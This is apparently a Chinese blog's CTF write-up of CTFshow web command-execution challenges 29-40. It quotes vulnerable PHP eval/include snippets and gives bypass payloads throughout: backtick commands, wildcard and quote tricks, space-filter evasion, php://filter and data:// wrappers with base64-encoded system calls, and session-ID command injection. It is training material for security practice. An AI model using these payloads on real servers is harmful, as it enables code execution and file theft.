博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
CTFSHOW WEB入门 命令执行做题笔记(持续更新)
阅读量:2065 次
发布时间:2019-04-29

本文共 4403 字,大约阅读时间需要 14 分钟。

校队考核被打自闭了 回炉重造

文章目录

29-36

29

  • 大小写过滤了flag
  • 自己构造的payload
echo `nl ????.???`; # 显示文本内容与行号echo `tail ????.???`;# 只看文本的后几行echo `cat ????.???`; # 从第一行开始显示文本内容echo `more ????.???`; # 一页一页的显示文本内容echo `less ????.???`; # 与 more 类似,但是比 more 更好的是,它可以往前翻页!echo `head ????.???`; # 只看文本的前面几行echo `tac ????.???`; # 从最后一行开始显示文本echo `nl fla''g.php`;echo `nl f*`;
  • 别人的payload
c=eval($_GET[1])?>&1=system('cat flag.php');c=?>

总结:

  1. 没有过滤 *和?这两个通配符的时候 *代表0个或多个任意字符 ?匹配一个字符
  2. nl tail cat more less tac head七个命令都可以查看文件
  3. 如果只过滤了flag cat这些完整的字符串 可以通过’'绕过
  4. 调用system函数返回的是该函数执行返回值,比如0表示执行正确,-1执行错误;同时会将cmd命令的结果打印到控制台界面;
  5. 而反引号直接返回的就是该cmd的执行结果,但是不会屏幕上表现出来。
  6. 嵌套eval构造一句话木马 这个方法我想到过 但是我没想到嵌套eval tcl
  7. ?><?=这是一个神奇的东西 自己搭建环境展示一下
  • 访问页面会显示aaaaaaa

<?=”是PHP的一个短的开放式标签,是echo() 的快捷用法

如何想要使用该短标签,必须从PHP.ini文件中的设置启用它。
我们需要在PHP.ini文件中找到以下行并添加(On)来开启,

30

error_reporting(0);if(isset($_GET['c'])){
$c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){
eval($c); } }else{
highlight_file(__FILE__);}
  • 大小写过滤了上面的内容
  • 过滤system就用``好了 flag和php还是可以用上面的方法绕过
  • 给个payload
echo `nl fl''ag.p''hp`;

31

error_reporting(0);if(isset($_GET['c'])){
$c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c); } }else{
highlight_file(__FILE__);}
  • 这道题与前面的区别主要在于过滤了.和space
  • 自己的payload
echo`nl%09f*`;?>
&1=system('cat flag.php');eval($_GET[1]);&1=system('cat flag.php');
  • Tips:

1.与前面的题目相比,考点在于空格的过滤

2.绕过方法 %09 ${IFS}、$IFS$9、<>、<

32

error_reporting(0);if(isset($_GET['c'])){
$c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c); } }else{
highlight_file(__FILE__);}
  • 和前面相比多过滤了几个符号echo、`、;、(
  • 构造payload:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
  • 原本将?>替换为;应该是可行的eval里面必须是完整的PHP语句,但是因为;被过滤了,只能用?>
  • 这里利用了文件包含和伪协议去获取flag,用到了文件包含漏洞,涨姿势了

33-36

error_reporting(0);if(isset($_GET['c'])){
$c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c); } }else{
highlight_file(__FILE__);}
  • 多过滤了一个"有点迷
  • payload:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
  • 到36题都可以用这个去获取flag

37-44

37

//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){
$c = $_GET['c']; if(!preg_match("/flag/i", $c)){
include($c); echo $flag; } }else{
highlight_file(__FILE__);}
  • 这里有个文件包含,应该使用文件包含漏洞去命令执行
  • 起初,我想用php://input伪协议去达成命令执行,但是失败了,结果发现是我的hackbar出现了问题 (草
  • payload:
?c=php://input hackbar POST传参
?c=data://text/plain,system('cat f*');?>?c=data://text/plain,base64;PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==

include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。

伪协议中的data://text/plain,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
伪协议中的php://input,同样原理

38

error_reporting(0);if(isset($_GET['c'])){
$c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){
include($c); echo $flag; } }else{
highlight_file(__FILE__);}

-payload:

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==

39

error_reporting(0);if(isset($_GET['c'])){
$c = $_GET['c']; if(!preg_match("/flag/i", $c)){
include($c.".php"); } }else{
highlight_file(__FILE__);}
  • 这里过滤了flag,文件包含的时候加了后缀.php
  • payload:
c=data://text/plain,
  • 提示:data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
  • 我不太理解为啥php://input失效了
  • 等等补坑

40

if(isset($_GET['c'])){
$c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c); } }else{
highlight_file(__FILE__);}
  • 过滤了一堆东西,过滤了单引号,$,`
  • 没思路了 看了wp
  • payload
c=session_start();system(session_id());
  • 抓包将PHPSESSID=ls这样的话就可以达到命令执行的效果了
  • 等同于system(‘ls’);

接着直接改成 c=session_start();highlight_file(session_id());然后PHPSESSID的值修改为flag.php就出问题了。

经过测试发现,受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
转载自羽大佬

  • 先把payload写下 highlight_file(next(array_reverse(scandir(pos(localeconv())))));
  • 需要用到的函数
  • localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
  • pos():返回数组中的当前元素的值。
  • array_reverse():数组逆序
  • scandir():获取目录下的文件
  • next(): 函数将内部指针指向数组中的下一个元素,并输出。
  • 首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以
  • scandir(pos(localeconv()))就能得到flag.php了
  • 转载自
你可能感兴趣的文章
万变不离其宗,性能优化也有章可循
查看>>
别再乱用 Prometheus 联邦了,分享一个 Prometheus 高可用新方案
查看>>
Litmus 实践:让群魔在混沌中乱舞,看 K8s 能撑到何时
查看>>
Prometheus 存储层的演进
查看>>
Kubernetes 边缘节点抓不到监控指标?试试这个方法!
查看>>
不对全文内容进行索引的 Loki 到底优秀在哪里
查看>>
太强大了!这些 Go 的难点问题都能解决!
查看>>
万字长文:K8s 创建 pod 时,背后到底发生了什么?
查看>>
后云原生时代,Kubernetes:你看我还有机会吗?
查看>>
Wintun:一款惊艳的 WireGuard 虚拟网卡接口驱动
查看>>
个人学习方法分享
查看>>
时隔多年。。终于有一款云原生消息系统出仕了!
查看>>
[译]数据包在 Kubernetes 中的一生(1)
查看>>
[译]数据包在 Kubernetes 中的一生(2)
查看>>
[译]数据包在 Kubernetes 中的一生(3)
查看>>
从源头解决 Service Mesh 问题最彻底!
查看>>
一次“不负责任”的 K8s 网络故障排查经验分享
查看>>
一次有趣的 Docker 网络问题排查经历
查看>>
KubeSphere Meetup 北京站火热报名中 | 搭载 CIC 2021 云计算峰会
查看>>
深入理解 Linux Cgroup 系列(一):基本概念
查看>>